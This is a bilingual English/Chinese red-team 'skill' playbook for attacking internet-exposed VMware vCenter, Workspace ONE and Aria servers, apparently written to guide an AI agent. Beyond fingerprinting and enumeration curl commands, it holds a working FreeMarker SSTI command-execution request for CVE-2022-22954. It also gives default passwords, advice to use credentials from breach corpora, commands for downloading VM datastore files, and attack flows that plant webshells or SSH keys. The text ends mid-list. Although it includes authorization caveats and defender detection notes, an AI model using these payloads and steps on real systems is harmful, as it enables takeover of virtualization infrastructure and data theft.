vmware-vcenter-attack

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

When to use

使用时机

Trigger when external recon shows ANY of:

Banner: "VMware vCenter Server", "VMware vSphere Client"

URL paths:

/ui

/ui/login

/websso/SAML2/Metadata

/sdk

/mob

(Managed Object Browser)

TLS cert SAN includes
```
vcenter
```
/
```
vsphere
```
/
```
vcsa
```
/
```
psc
```
/
```
vmware
```
Workspace ONE Access / Identity Manager:
```
/SAAS
```
,
```
/SAAS/auth
```
,
```
/SAAS/login
```
,
```
/SAAS/horizon
```

VMware Aria / vRealize:

/vco

/vco-controlcenter

/orchestrator

/lcm/api/v1

Horizon View:
```
/portal
```
,
```
/admin
```

Do NOT use for:

Internal-network vCenter (out of scope — external boundary discipline)
Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

当外部侦察显示以下任一情况时触发：

Banner："VMware vCenter Server"、"VMware vSphere Client"
URL 路径：
```
/ui
```
、
```
/ui/login
```
、
```
/websso/SAML2/Metadata
```
、
```
/sdk
```
、
```
/mob
```
（Managed Object Browser）
TLS 证书 SAN 包含
```
vcenter
```
/
```
vsphere
```
/
```
vcsa
```
/
```
psc
```
/
```
vmware
```
Workspace ONE Access / Identity Manager：
```
/SAAS
```
、
```
/SAAS/auth
```
、
```
/SAAS/login
```
、
```
/SAAS/horizon
```

VMware Aria / vRealize：

/vco

、

/vco-controlcenter

、

/orchestrator

、

/lcm/api/v1

Horizon View：
```
/portal
```
、
```
/admin
```

不适用于：

内网 vCenter（不在范围内——遵守仅限外部的边界原则）
仅暴露 ESXi hypervisor 而无管理平面（互联网中很少见；应作为单独的发现项标记）

Step 1 — Version fingerprinting

第 1 步——版本指纹识别

bash

TARGET="vcenter.target.com"

bash

TARGET="vcenter.target.com"

Build info endpoint (often public; revealing exact patch level)

curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

UI build (visible in page source)

curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}' curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

REST API version (vSphere 7+)

curl -sk "https://$TARGET/api/appliance/system/version"

Cert metadata

echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

SSO Admin Service (info disclosure)

curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local" curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"


Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

---

curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local" curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"


通过 VMware advisories（vmware.com/security/advisories），将构建版本映射到产品版本，再映射到 CVE 的适用性。

---

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

第 2 步——CVE 矩阵（可从外部利用，按历史影响排序）

CVE	Affected	Vector	Status
CVE-2024-37085	ESXi 7.0/8.0 < specific patch	AD group "ESX Admins" auto-admin bypass	High — Domain takeover→ESXi RCE, exploited in ransomware ops
CVE-2024-22273	ESXi/Workstation/Fusion/vCenter storage controller	OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9)	Important (CVSS 8.1), not external pre-auth
CVE-2024-22252/53	Workstation/Fusion (not vCenter)	Sandbox escape	Not external
CVE-2023-34048	vCenter 7/8 < specific build	DCE/RPC pre-auth heap OOB write → RCE	Critical, patched 2023-10
CVE-2023-20887	Aria Operations for Networks	Pre-auth command injection → RCE	Critical
CVE-2023-20892	vCenter 7/8	Use-after-free in DCE/RPC	High
CVE-2022-31656/31659	Workspace ONE Access 21.x	Pre-auth SSRF + auth bypass	Critical chained
CVE-2022-22954	Workspace ONE Access	Pre-auth server-side template injection (SSTI) → RCE	Critical, widely exploited
CVE-2021-22005	vCenter 6.7/7.0 < build	Analytics service pre-auth file upload → RCE	Critical
CVE-2021-21985	vCenter 6.5/6.7/7.0 < build	vSAN Health Check plugin pre-auth RCE	Critical
CVE-2021-21972	vCenter 6.5/6.7/7.0 < build	vRealize plugin `/ui/vropspluginui/rest/services/uploadova` pre-auth file upload → RCE	Critical, exploited heavily
CVE-2020-3992	ESXi OpenSLP	Pre-auth use-after-free → RCE	Critical, ESXi ransomware vector
CVE-2019-5544	ESXi OpenSLP	Pre-auth heap overflow	Critical

CVE	受影响项	攻击向量	状态
CVE-2024-37085	低于特定补丁版本的 ESXi 7.0/8.0	AD 组 "ESX Admins" 自动管理员权限绕过	高危——域接管 → ESXi RCE，已被勒索软件运营者利用
CVE-2024-22273	ESXi/Workstation/Fusion/vCenter 存储控制器	越界读/写——需要 VM 本地访问（不是预认证网络 SSRF；参见第 9 节）	重要（CVSS 8.1），不属于外部预认证攻击
CVE-2024-22252/53	Workstation/Fusion（不包括 vCenter）	沙箱逃逸	非外部攻击
CVE-2023-34048	低于特定构建版本的 vCenter 7/8	DCE/RPC 预认证堆越界写入 → RCE	严重，已于 2023-10 修复
CVE-2023-20887	Aria Operations for Networks	预认证命令注入 → RCE	严重
CVE-2023-20892	vCenter 7/8	DCE/RPC 中的释放后使用	高危
CVE-2022-31656/31659	Workspace ONE Access 21.x	预认证 SSRF + 身份验证绕过	严重，可形成漏洞链
CVE-2022-22954	Workspace ONE Access	预认证服务端模板注入（SSTI）→ RCE	严重，已被广泛利用
CVE-2021-22005	低于特定构建版本的 vCenter 6.7/7.0	Analytics 服务预认证文件上传 → RCE	严重
CVE-2021-21985	低于特定构建版本的 vCenter 6.5/6.7/7.0	vSAN Health Check 插件预认证 RCE	严重
CVE-2021-21972	低于特定构建版本的 vCenter 6.5/6.7/7.0	vRealize 插件 `/ui/vropspluginui/rest/services/uploadova` 预认证文件上传 → RCE	严重，已遭大量利用
CVE-2020-3992	ESXi OpenSLP	预认证释放后使用 → RCE	严重，ESXi 勒索软件攻击向量
CVE-2019-5544	ESXi OpenSLP	预认证堆溢出	严重

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

第 3 步——CVE-2021-21972 探测（在陈旧设备上仍很常见）

bash

undefined

bash

undefined

Detection only — DO NOT execute the file upload without explicit scope OK

curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"

405 → endpoint exists, version vulnerable

404 → patched (endpoint removed)

401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"


Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

---

curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"


Mikhail Klyuchnikov 已发布公开 PoC；未经明确签署 RCE 尝试授权，不要针对客户基础设施执行。

---

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

第 4 步——CVE-2022-22954（Workspace ONE SSTI）探测

bash

undefined

bash

undefined

Stage A — detection only: reachability + baseline. No command execution yet.

curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n"
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"

4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.

404 → patched/removed. Keep the baseline body to diff against Stage B.

Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary

so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.

CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')" curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execution"?new()("echo ${CANARY}; id")}"

Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output

that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).


Confirmed RCE requires the unique `$CANARY` reflected in-band plus `uid=` output not present in the Stage-A baseline → critical. Stop and report. A bare `uid=` with no canary echo is NOT confirmation.

---


只有当唯一的 `$CANARY` 在带内响应中原样回显，且响应包含 Stage-A 基线中不存在的 `uid=` 输出时，才能确认 RCE → 严重。立即停止并报告。仅出现 `uid=` 而没有 canary 回显不构成确认。

---

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

第 5 步——默认凭据（实验/预发布 vCenter 上仍经常有效）

Product	Default user	Default password
vCenter 6.x	`administrator@vsphere.local`	`<set-during-install>`
vCenter Appliance root	`root`	`vmware` (legacy) or `<set>`
ESXi root	`root`	`<blank>` or `vmware`
vCenter Server Appliance Mgmt (5480)	`root`	`<set-during-install>`
Aria Operations	`admin`	`vmware` (legacy)
Workspace ONE	`admin`	`<set>`

⚠ Do not spray vCenter —
administrator@vsphere.local
has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

产品	默认用户	默认密码
vCenter 6.x	`administrator@vsphere.local`	`<set-during-install>`
vCenter Appliance root	`root`	`vmware` （旧版）或 `<set>`
ESXi root	`root`	`<blank>` 或 `vmware`
vCenter Server Appliance Mgmt (5480)	`root`	`<set-during-install>`
Aria Operations	`admin`	`vmware` （旧版）
Workspace ONE	`admin`	`<set>`

⚠ 不要对 vCenter 进行喷洒式尝试——

administrator@vsphere.local

的锁定阈值非常低（通常尝试 3 次 → 锁定 60 秒，也可配置为永久锁定）。仅在高度确信时尝试一次。使用从泄露语料中发现的凭据。

Step 6 — SSO / vmdir LDAP enumeration

第 6 步——SSO / vmdir LDAP 枚举

bash

undefined

bash

undefined

SSO Admin endpoint (frequently exposes domain info)

curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

Extract Identity Source info

curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

Try anonymous LDAP bind to vmdir (port 389/636 if exposed)

ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---

ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---

Step 7 — Managed Object Browser (MOB) — frequently leaks data

第 7 步——Managed Object Browser（MOB），经常泄露数据

bash

curl -skI "https://$TARGET/mob"

bash

curl -skI "https://$TARGET/mob"

401 → auth required (good for the defender)

200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

Auth'd MOB lets you walk the entire vSphere tree:

curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

---

curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"


经过身份验证的 MOB 可用于遍历整个 vSphere 树：

---

Step 8 — vSphere REST API enumeration (post-cred)

第 8 步——vSphere REST API 枚举（获取凭据后）

bash

undefined

bash

undefined

Get session token

curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"

Returns: "<session-token>"

List VMs

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

List hosts

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

List datastores

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)

/folder/<path>?dsName=<ds>&dcPath=<dc>

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---

Step 9 — Workspace ONE Access specific paths

第 9 步——Workspace ONE Access 特定路径

bash

undefined

bash

undefined

Metadata

curl -sk "https://$TARGET/SAAS/auth/saml/response" curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp" curl -sk "https://$TARGET/SAAS/jersey/manager/api/health" curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

Login page

curl -sk "https://$TARGET/SAAS/login/0"

---

curl -sk "https://$TARGET/SAAS/login/0"

---

Step 10 — Aria / vRealize specific paths

第 10 步——Aria / vRealize 特定路径

bash

undefined

bash

undefined

vRealize Operations Manager

curl -sk "https://$TARGET/suite-api/api/versions" curl -sk "https://$TARGET/casa/nodes/thumbprints"

Aria Automation

curl -sk "https://$TARGET/csp/gateway/am/api/about" curl -sk "https://$TARGET/cluster-administration/api/health"

vRealize Orchestrator

curl -sk "https://$TARGET/vco/api/about" curl -sk "https://$TARGET/vco-controlcenter/api/health"

---

curl -sk "https://$TARGET/vco/api/about" curl -sk "https://$TARGET/vco-controlcenter/api/health"

---

Tooling

工具

vCenter-Exploit
collection (multiple PoCs on GitHub for 21972, 21985, 22005)
Greenbone/openvas-scanner
VMware NASL plugins — version detection

nuclei
templates:

vmware-vcenter-*.yaml

cve-2021-21972.yaml

cve-2022-22954.yaml

Metasploit
modules:

exploit/multi/http/vmware_vcenter_*

vCenter-Exploit
collection（GitHub 上有多个针对 21972、21985、22005 的 PoC）
Greenbone/openvas-scanner
VMware NASL 插件——用于版本检测

nuclei
模板：

vmware-vcenter-*.yaml

、

cve-2021-21972.yaml

、

cve-2022-22954.yaml

Metasploit
模块：

exploit/multi/http/vmware_vcenter_*

Detection patterns (what defenders/SOC will see)

检测模式（防御方/SOC 将观察到的行为）

Excessive 404s on
```
/ui/vropspluginui/*
```
— IDS signature
POST to
```
/sdk
```
from non-management IP
```
administrator@vsphere.local
```
auth failures
TLS handshake fingerprint changes
Plugin upload to vRealize endpoint

Pair with

mid-engagement-ir-detection

skill — vCenter is monitored heavily in mature SOCs.

```
/ui/vropspluginui/*
```
上出现大量 404——IDS 特征
从非管理 IP 向
```
/sdk
```
发起 POST
```
administrator@vsphere.local
```
身份验证失败
TLS 握手指纹发生变化
向 vRealize endpoint 上传插件

与

mid-engagement-ir-detection

skill 配合使用——成熟的 SOC 会对 vCenter 进行密切监控。

External-only boundary check

仅限外部的边界检查

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per

feedback_skill_boundaries

. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

如果侦察显示 vCenter 仅可通过 VPN 访问（并非直接暴露于互联网）→ 停止。根据

feedback_skill_boundaries

，它属于内部基础设施，超出了仅限外部的 AI 范围。用户直接处理内部 vCenter 相关工作。

互联网暴露的 vCenter 遗憾地常见于网络边界，而且往往会过时数年。即使到了 2026 年，2021-21972 / 21985 / 22954 三件套仍然有效，因为 hypervisor 管理平面的补丁周期缓慢且由厂商托管。

Severity scoring guidance (red-team deliverable context)

严重性评分指南（红队交付物语境）

Finding	Severity
vCenter on internet, current patch	Informational (attack surface note)
vCenter on internet, missing patches with public RCE	Critical (entire virtualization plane compromise)
vCenter on internet + default admin password	Critical (immediate full takeover)
Workspace ONE on internet, unpatched 22954	Critical
MOB anonymously accessible	High (full topology disclosure)
/sdk reachable + version disclosure only	Medium (info disclosure + attack-surface concentration)

发现项	严重性
暴露在互联网上的 vCenter，且已安装当前补丁	信息级（攻击面说明）
暴露在互联网上的 vCenter，缺少补丁且存在公开 RCE	严重（整个虚拟化平面失陷）
暴露在互联网上的 vCenter + 默认管理员密码	严重（可立即完全接管）
暴露在互联网上的 Workspace ONE，22954 未修复	严重
MOB 可匿名访问	高危（完整拓扑泄露）
`/sdk` 可访问且仅存在版本泄露	中危（信息泄露 + 攻击面集中）

Anti-patterns

反模式

DO NOT spray vCenter SSO — lockout is aggressive; one chance often
DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

不要对 vCenter SSO 进行喷洒式尝试——锁定策略非常激进；通常只有一次机会
未经明确许可，不要执行文件上传 PoC——它们会创建持久化 webshell，并增加清理负担和审计痕迹
不要将互联网暴露的 ESXi 管理面与 vCenter 混淆——二者攻击面不同；ESXi Open SLP CVE 针对 427 端口
不要跳过 SSL 握手 Banner 检查——VMware 会在此暴露版本信息；这是噪声最低的初始探测方式

Bridge to neighboring skills

与相邻 skill 的衔接

```
enterprise-vpn-attack
```
— vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
```
m365-entra-attack
```
— vCenter SSO sometimes federated to Entra; cred-chain bridging
```
mid-engagement-ir-detection
```
— vCenter monitoring is sensitive; expect mid-engagement mitigations
```
redteam-report-template
```
— vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

```
enterprise-vpn-attack
```
——vCenter 经常是攻破 VPN 后的目标；如果 VPN 被攻破，vCenter 是自然的下一步枢轴（但属于内网——应交给用户）
```
m365-entra-attack
```
——vCenter 有时使用 Entra 进行 SSO 联合；用于衔接凭据链
```
mid-engagement-ir-detection
```
——对 vCenter 的监控非常敏感；预计会触发中期缓解措施
```
redteam-report-template
```
——vCenter 发现项需要清晰说明爆炸半径（这是虚拟化平面，不只是单个应用）

Related Skills & Chains

Disclosed CVEs & coordinated-disclosure citations

已披露 CVE 与协同披露引用

These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.

以下是上述矩阵中每个 CVE 的关键公开参考。每个条目均包含厂商公告、最初研究者文章或 KEV catalog 条目，以及在存在公开资料时附上的在野利用参考。

1. CVE-2021-21972 — vCenter

vropspluginui

unauthenticated arbitrary file upload (canonical pre-auth RCE)

1. CVE-2021-21972——vCenter

vropspluginui

未认证任意文件上传（典型的预认证 RCE）

Affected: vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
Attack flow: Unauth POST to
```
/ui/vropspluginui/rest/services/uploadova
```
with a tar/OVA containing a path-traversal entry. On Windows write
```
webshell.jsp
```
under the vsphere-ui webroot for SYSTEM; on Linux drop
```
authorized_keys
```
under
```
/home/vsphere-ui/.ssh/
```
and SSH in.
Root cause: Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the
```
uploadova
```
handler did not sanitize archive entry paths.
Disclosure: Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. CISA KEV: added 2021-11-03. Year discovered 2020, patched 2021.
References: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

受影响： vCenter Server 6.5 < 6.5 U3n、6.7 < 6.7 U3l、7.0 < 7.0 U1c（每个默认安装都捆绑 vRealize Operations vCenter 插件——payload 取决于 Linux 或 Windows 变体）。VMware Cloud Foundation 3.x/4.x 也捆绑该插件。
攻击流程： 向
```
/ui/vropspluginui/rest/services/uploadova
```
发起未认证 POST，提交包含路径遍历条目的 tar/OVA。在 Windows 上将
```
webshell.jsp
```
写入 vsphere-ui webroot 并以 SYSTEM 身份运行；在 Linux 上将
```
authorized_keys
```
写入
```
/home/vsphere-ui/.ssh/
```
，然后通过 SSH 登录。
根因： vRealize Operations 插件暴露的端点缺少身份验证过滤器；
```
uploadova
```
处理器没有清理压缩包条目路径。
披露： Mikhail Klyuchnikov（Positive Technologies / PT SWARM）于 2020 年秋报告；厂商公告与补丁于 2021-02-23 发布，编号为 VMSA-2021-0002；次日出现的 GitHub PoC 引发了大规模扫描。CISA KEV： 2021-11-03 收录。发现于 2020 年，修复于 2021 年。
参考： https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

2. CVE-2021-21985——vCenter vSAN Health Check 插件预认证 RCE

Affected: vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
Attack flow: Unauthenticated abuse of
```
ProxygenController
```
in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as
```
vsphere-ui
```
→ command execution.
Root cause: Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
Disclosure: Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
References: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/ (Ricter Z writeup) ; https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

受影响： vCenter Server 6.5 < 6.5 U3p、6.7 < 6.7 U3n、7.0 < 7.0 U2b（无论是否使用 vSAN，vSAN Health Check 插件默认都处于启用状态）。
攻击流程： 未经身份验证地滥用 vSAN Health 插件中的
```
ProxygenController
```
→ 将 Java 不安全反射与 SSRF primitive 串联 → 以
```
vsphere-ui
```
身份调用任意方法 → 命令执行。
根因： 缺少输入验证，并且可从未经身份验证的 REST 接口到达危险反射 sink。
披露： 360 Noah Lab 的 Ricter Z（Yang Hao）报告；厂商公告 VMSA-2021-0010 于 2021-05-25 发布。数日内便出现公开 PoC 和 Metasploit 模块；蜜罐中观测到真实攻击。发现于 2021 年，修复于 2021 年。
参考： https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/（Ricter Z 文章） ; https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

3. CVE-2021-22005——vCenter Analytics 服务任意文件上传 → RCE

Affected: vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
Attack flow: Unauth POST to the Analytics endpoint on port 443 (
```
/analytics/telemetry/ph/api/hyper/send
```
) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
Root cause: Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
Disclosure: VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. CISA KEV: added 2021-11-03. Year discovered 2021, patched 2021.
References: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

受影响： vCenter Server 6.7 < 6.7 U3o、7.0 < 7.0 U2d。VMware Cloud Foundation 3.x/4.x 捆绑了 vCenter。
攻击流程： 向 443 端口上的 Analytics 端点
```
/analytics/telemetry/ph/api/hyper/send
```
发起未认证 POST，将攻击者控制的文件写入预期目录之外；随后与服务滥用形成漏洞链，以 vCenter 服务账户身份实现 RCE。
根因： Analytics/CEIP 端点未对文件上传进行身份验证，也未验证目标路径。
披露： 厂商公告 VMSA-2021-0020 于 2021-09-21 发布。@testanull / @wvu 在约 72 小时内发布了可用 PoC；CISA 于 2021-09-24 发布紧急警报。CISA KEV： 2021-11-03 收录。发现于 2021 年，修复于 2021 年。
参考： https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

4. CVE-2022-22954——Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

Affected: Workspace ONE Access 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0; Identity Manager 3.3.3 → 3.3.6; vRealize Automation 7.6.
Attack flow: Unauth GET to
```
/catalog-portal/ui/oauth/verify?deviceUdid=${...}
```
injects a FreeMarker template;
```
freemarker.template.utility.Execute
```
runs OS commands as the
```
horizon
```
service account. Single-request RCE.
Root cause: Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
Disclosure: Reported by Steven Seeley (mr_me) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. CISA KEV: added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

受影响： Workspace ONE Access 21.08.0.1、21.08.0.0、20.10.0.1、20.10.0.0；Identity Manager 3.3.3 → 3.3.6；vRealize Automation 7.6。
攻击流程： 向
```
/catalog-portal/ui/oauth/verify?deviceUdid=${...}
```
发起未认证 GET，注入 FreeMarker 模板；
```
freemarker.template.utility.Execute
```
以
```
horizon
```
服务账户身份运行操作系统命令。通过单个请求即可实现 RCE。
根因： catalog-portal 端点将攻击者可控的查询参数传入 FreeMarker 渲染过程，且未对 Execute utility 进行沙箱限制。
披露： Source Incite 的 Steven Seeley（mr_me）报告；厂商公告 VMSA-2022-0011 于 2022-04-06 发布。48 小时内即出现公开 PoC，随后发生大规模攻击。CISA KEV： 2022-04-14 收录。CISA AA22-138B（2022 年 5 月）记录了多家“大型组织”遭此 CVE 利用后开展 IR 处置的案例。发现于 2022 年，修复于 2022 年。
参考： https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

5. CVE-2022-22972——Workspace ONE Access / Identity Manager / vRealize Automation Host Header 身份验证绕过

Affected: Workspace ONE Access 21.08.0.1; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
Attack flow: Manipulate the HTTP
```
Host
```
header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
Root cause: Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
Disclosure: Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. CISA Emergency Directive 22-03 (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass

受影响： Workspace ONE Access 21.08.0.1；Identity Manager 3.3.3–3.3.6；vRealize Automation 7.6，以及依赖它们的 Cloud Foundation 安装。
攻击流程： 在本地域登录流程中篡改 HTTP
```
Host
```
header；服务器会将内部验证请求路由到攻击者控制的主机名 → 无需合法凭据即可返回管理员会话。
根因： Host header 被用作内部身份验证验证请求的目标，且未经验证——这是典型的 SSRF-into-self 与信任提升问题。
披露： Innotec Security 的 Bruno López 报告；厂商公告 VMSA-2022-0014 于 2022-05-18 发布。CISA Emergency Directive 22-03（2022-05-18）要求所有美国联邦文职机构在 2022-05-24 前修补或移除受影响的 VMware 安装——距离针对 CVE-2022-22954 发布要求仅六周。发现于 2022 年，修复于 2022 年。
参考： https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass

6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE

